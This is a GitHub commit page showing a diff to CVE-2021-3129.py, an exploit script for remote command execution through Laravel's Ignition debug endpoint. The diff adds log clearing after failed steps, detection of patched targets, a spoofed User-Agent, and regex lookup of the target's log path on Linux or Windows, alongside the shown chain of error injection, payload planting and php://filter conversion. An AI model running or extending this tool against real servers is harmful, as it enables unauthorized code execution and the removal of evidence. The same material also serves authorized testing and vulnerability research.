Skip to content

Commit

Permalink
Windows path support + Regex search for version/log file
Browse files Browse the repository at this point in the history
  • Loading branch information
Joshua van der Poll authored and Joshua van der Poll committed Feb 19, 2023
1 parent 38f6e23 commit bbd3238
Showing 1 changed file with 38 additions and 31 deletions.
69 changes: 38 additions & 31 deletions CVE-2021-3129.py
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,7 @@
import pkg_resources
import re
import subprocess
import readline

PURPLE = '\033[95m'
CYAN = '\033[96m'
Expand Down Expand Up @@ -57,7 +58,7 @@ def start(self):
exit()

# Ask user interaction
print(BLUE + "[•] Use \"?\" for a list of all possible actions.")
print(PURPLE + "[•] Use \"?\" for a list of all possible actions.")
self.ask_command()

def ask_command(self):
Expand Down Expand Up @@ -106,13 +107,15 @@ def cmd_execute_cmd(self, cmd):
print(BLUE + "[@] Causing error in logs...") # Step 2. Cause a error to write phar file.
if self.exploit_cause_error().status_code != 500:
print(RED + "[!] Failed causing error.")
self.exploit_clear_logs()
exit(1)
print(GREEN + "[√] Caused error in logs.")

print(BLUE + "[@] Sending payload...")
if self.exploit_request(payload,
500).status_code != 500: # Step 3. Cause error with payload so payload in log file.
print(RED + "[!] Failed sending payload.")
self.exploit_clear_logs()
exit(1)
print(GREEN + "[√] Sent payload.")

Expand All @@ -123,6 +126,7 @@ def cmd_execute_cmd(self, cmd):
f"convert.base64-decode/resource={self.log_path}",
200).status_code != 200):
print(RED + "[!] Failed converting payload.")
self.exploit_clear_logs()
exit(1)
print(GREEN + "[√] Converted payload.")

Expand Down Expand Up @@ -282,15 +286,17 @@ def exploit_request(self, value: str, expected_response: int = 200) -> requests.
# Check if host has patched vulnerability
if "runnable solutions are disabled in non-local environments" in request.text.lower():
print(RED + f"[!] Website has patched the vulnerability. "
f"Response: \"Runnable solutions are disabled in non-local environments. "
f"Please make sure `APP_ENV` is set correctly. "
f"Additionally please make sure `APP_DEBUG` is set to false on ANY production environment!\"")
f"Response: \"Runnable solutions are disabled in non-local environments.\"")

if "solutions can only be executed by requests from a local ip address" in request.text.lower():
print(RED + f"[!] Website has patched the vulnerability. "
f"Response: \"Solutions can only be executed by requests from a local IP address.\"")

return request

def is_vulnerable(self):
print(DARKCYAN + f"[@] Testing vulnerable URL {self.host}_ignition/execute-solution...")
request = requests.get(url=f"{self.host}_ignition/execute-solution", verify=False)
request = requests.get(url=f"{self.host}_ignition/execute-solution", verify=False, headers={"User-Agent": self.useragent})

# Check vulnerable url by sending invalid GET request (only POST allowed)
if request.status_code != 405:
Expand All @@ -314,7 +320,7 @@ def is_vulnerable(self):
print(RED + "[!] No log path could be found. Please define the log path with the \"--log\" argument")
exit()
else:
print(BLUE + f"[] Laravel log found: \"{DARKCYAN}{found_path}{BLUE}\".")
print(BLUE + f"[] Laravel log found: \"{DARKCYAN}{found_path}{BLUE}\".")

# Check if laravel version defined in error response
laravel_version = self.find_laravel_version(content=request.text)
Expand All @@ -331,39 +337,40 @@ def is_vulnerable(self):

if self.log_path is None:
self.log_path = found_path
print(GREEN + f"[√] Laravel log file set to \"{found_path}\".")
else:
print(BLUE + f"[•] Ignoring found path. Using path \"{self.log_path}\".")
print(BLUE + f"[•] Ignoring found path. Using path \"{DARKCYAN}{self.log_path}{BLUE}\".")

return True

def find_log_path(self, content):
# TODO Use regex search instead of split
for line in str(content).split("\\n"):
if "Symfony\\\Component\\\HttpKernel\\\Exception\\\MethodNotAllowedHttpException" in line:
parts_one = line.split("in file ")
if len(parts_one) != 2:
continue

parts_two = parts_one[1].split("/vendor/laravel/framework")
if len(parts_two) != 2:
continue

root_path = parts_two[0]
log_path = None

# Regex search for file path
search_pattern = r"The GET method is not supported for this route\. Supported methods: POST\. in file (.*?) on line"
search_res = re.search(search_pattern, str(content))

if search_res:
file_path = search_res[1]

if "/vendor/laravel/framework" in file_path: # Linux system
print(BLUE + f"[•] Laravel seems to be running on a {DARKCYAN}Linux{BLUE} based machine.")
root_path = file_path.split("/vendor/laravel/framework")[0]
log_path = f"{root_path}/storage/logs/laravel.log"
print(BLUE + f"[•] Log path found: \"{DARKCYAN}{log_path}{BLUE}\"")
return log_path
return None
if "\\\\vendor\\\\laravel\\\\framework" in file_path: # Windows system
print(BLUE + f"[•] Laravel seems to be running on a {DARKCYAN}Windows{BLUE} based machine.")
root_path = file_path.split("\\\\vendor\\\\laravel\\\\framework")[0]
log_path = f"{root_path}\\\\storage\\\\logs\\\\laravel.log"

return log_path

def find_laravel_version(self, content: str):
# TODO Use regex search instead of indexof
if "window.data = {" in content and "};\n" in content:
json_from = content.index("window.data = {") + 15
json_to = content.index("};\n") + 1
json_res = "{" + content[json_from:json_to]

details = json.loads(json_res)
return details['report']['framework_version']

# Regex search for framework version
search_pattern = r"\"framework_version\":\"(.*?)\""
search_res = re.search(search_pattern, content)

if search_res:
return search_res[1]
return None


Expand Down

0 comments on commit bbd3238

Please sign in to comment.